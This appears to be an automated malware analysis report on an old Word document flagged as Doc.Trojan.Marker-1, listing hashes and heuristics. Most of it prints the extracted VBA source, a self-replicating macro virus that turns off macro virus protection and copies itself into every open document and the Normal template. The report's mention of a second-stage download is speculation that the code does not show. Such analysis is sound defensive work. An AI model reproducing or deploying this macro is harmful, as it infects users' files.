Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 959de36d43a12a91…

MALICIOUS

Office (OLE)

46.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e8a4d41ded46e9aa7c59d61d2156c556 SHA-1: 9716b5edf223a1dbd80cbbdf7c89b8f1cad53f73 SHA-256: 959de36d43a12a916423307c46f0883a899e4391095bea714d79a13ce37ee0e0
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic firings indicate this is a malicious document. The VBA macro in 'macros.bas' attempts to inject code into the current document and the Normal template, evidenced by the string 'MYNAMEISVIRUS' being searched for and potentially inserted. This behavior is consistent with establishing persistence or preparing for a second-stage download. The macro code is truncated, preventing a full analysis of its ultimate goal.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4664 bytes
SHA-256: f44b2264f43c5ba3e5d733da4e922e7d9857436a14c84ae28f9063eb34ceed5d
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String


'

Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xItem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xItem In NormalTemplate.VBProject.VBComponents
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xItem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xItem In NormalTemplate.VBProject.VBComponents
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xItem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xItem.Name = "ThisDocument" Then
    send = xItem.codemodule.countoflines
    aready = xItem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xItem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk
... (truncated)